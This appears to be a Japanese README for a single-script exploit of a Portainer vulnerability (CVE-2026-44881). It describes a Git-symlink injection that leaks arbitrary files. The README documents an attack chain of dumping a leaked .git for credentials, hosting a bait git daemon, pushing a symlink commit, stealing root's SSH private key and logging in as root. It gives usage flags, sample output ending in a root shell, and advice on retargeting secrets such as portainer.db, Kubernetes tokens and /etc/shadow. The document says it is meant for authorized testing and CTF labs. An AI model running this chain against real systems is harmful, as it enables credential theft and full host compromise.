
CVE-2026-44881用の単一スクリプトエクスプロイトで、.git認証情報の漏洩、Portainer Git-symlinkインジェクション、任意のホストファイル読み取り、および認可されたテストのためのSSHアクセスを連鎖させます。
CVE-2026-44881 のシングルスクリプトエクスプロイト。Portainer のスタックデプロイフローにおける Git シンボリックリンク注入により、スタック作成権限を持つ低権限の認証ユーザーが Portainer プロセスからアクセス可能な任意のファイルを読み取ることができます。
アドバイザリ: GHSA-rpgq-m5fp-32wr 影響を受けるバージョン: Portainer CE
2.33.0–2.33.7、2.39.0–2.39.1、2.40.x修正バージョン:2.33.8(LTS)、2.39.2(LTS)、2.41.0(STS)
この脆弱性は2つのプリミティブの組み合わせです:
go-git v5 は、git clone 中にモード 0o120000 (シンボリックリンク) の Git ツリーエントリを実際の OS シンボリックリンクに変換します。ブロックリストに登録されている名前は .gitmodules のみで、Portainer がスタックエントリポイントとして扱う docker-compose.yml を含む他のすべてのパスは、任意の相対ターゲットを持つシンボリックリンクにできます。Service.GetFileContent (api/filesystem/filesystem.go) は os.ReadFile を使用してスタックエントリファイルを読み取りますが、これは透過的に OS シンボリックリンクを追跡します。JoinPaths は 入力文字列 の ../ を防ぎますが、filepath.EvalSymlinks を呼び出さないため、ディスク上に既にあるシンボリックリンクは問題なくターゲットに解決されます。Portainer はコンテナ内でrootとして実行されることが多く (Docker ソケットが必要)、そのため読み取りプリミティブの到達範囲はコンテナが見えるもの — 通常は /data/portainer.db (すべてのユーザーのパスワードハッシュとすべての API トークンを含む BoltDB)、Kubernetes サービスアカウントトークン (/var/run/secrets/kubernetes.io/serviceaccount/token)、Docker Swarm シークレット (/run/secrets/)、そして監視用にホストファイルシステムをバインドマウントするデプロイメントではホストの /etc/shadow、/root/.ssh/* など — です。
このスクリプトは次のチェーンを実行します:
ポート80で漏洩した .git
→ コミット履歴から lowuser:password を復元
→ Portainer ログイン
→ クリーンなYAMLでGitバックエンドスタックを作成 (検証通過、スタックが永続化)
→ シンボリックリンクコミットをプッシュ、/git/redeploy をトリガー (検証失敗、ワーキングツリーは更新)
→ GET /api/stacks/{id}/file (シンボリックリンク先の内容を返す)
→ ssh -i stolen_key root@target
./exploit.sh -t 192.168.1.27
ip addr から攻撃者 IP を自動検出し、.git が http://target/.git/ で公開されていると想定します。環境に合わないものは上書きしてください:
-t, --target target IP (必須)
-a, --attacker git daemon 用に Portainer に通知する攻撃者 IP (自動検出)
-l, --leak-path 公開された .git ディレクトリのパス (デフォルト: /.git)
-p, --portainer-port Portainer HTTP ポート (デフォルト: 9000)
-g, --git-port ローカル git daemon ポート (デフォルト: 9418)
-w, --workdir スクラッチファイル用の作業ディレクトリ (デフォルト: mktemp)
-u, --user .git 列挙をスキップ; この Portainer ユーザー名を使用
-P, --pass .git 列挙をスキップ; この Portainer パスワードを使用
--no-creds-from-git .git ステージをスキップし、-u/-P を必須にする
--no-ssh 最終的な SSH インステップをスキップ
-h, --help このヘルプを表示して終了
$ ./exploit.sh -t 192.168.1.27
[+] Target : http://192.168.1.27:9000
[+] Attacker IP : 192.168.1.34
[+] Workdir : /tmp/cve44881-xxxx
=== Stage 1 — 漏洩した /.git をダンプし、認証情報を復元 ===
[+] git-dumper が見つかりました、実行中...
[+] git 履歴:
3a1f9e2 oops: remove creds from repo, rotate before prod
b4c20a6 add trial onboarding env (temp, will move to vault)
d09a875 init: portal landing + ops notes
[+] 復元された認証情報: lowuser / lowuser-c0ntain3r-2026
=== Stage 2 — Portainer 認証 ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] エンドポイントID: 1
=== Stage 3 — git://192.168.1.34:9418/repo.git でベイト Git リポジトリをホスト ===
[+] git daemon 起動 (pid 12345)
=== Stage 4 — Git バックエンドスタックを作成 (クリーンなYAML) ===
[+] スタックID: 1
=== Stage 5 — シンボリックリンクコミットをプッシュ + 再デプロイをトリガー ===
[+] 再デプロイ応答: {"message":"stack config file is invalid: top-level object must be a mapping"}
=== Stage 6 — GET /api/stacks/1/file ===
[+] 漏洩した秘密鍵を /tmp/cve44881-xxxx/stolen_id_rsa に保存
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== Stage 7 — 漏洩した鍵で root として SSH ログイン ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9
=== Done — エクスプロイト完了 ===
curl、jq、git (git daemon を含む)、sshgit-dumper — pipx install git-dumper。スクリプトには組み込みの簡易 HTTP 列挙子が含まれており、git-dumper がない場合でも単純なルーズオブジェクトケースを処理しますが、複雑な漏洩 .git ディレクトリにはフルツールの方がはるかに信頼性があります。/:/mnt/host:ro を想定しており、/mnt/host/root/.ssh/id_rsa を読み取ります。他のファイルをターゲットにするには、Stage 5 のシンボリックリンクターゲット (../../../mnt/host/root/.ssh/id_rsa) を編集してください。Portainer の go-billy chroot-jail は 絶対パス のシンボリックリンクをワークツリーに制限するため、ターゲットは相対パスでなければなりません。.git から復元された認証情報は Portainer スコープのみです。SSH やホストへの直接アクセスは許可されません。ラボでは、ホストレベル RCE への唯一の経路はこの CVE 自体を介するように設定されています。{"message":"stack config file is invalid"} で応答することを想定しています。これはバリデータが SSH キーが有効な YAML ではないと文句を言っているためです。バリデータが実行される時点でクローンはすでにワーキングツリーを上書きしており、これがまさに必要な動作です。MIT。許可されたテストおよび CTF / ラボ利用のみ。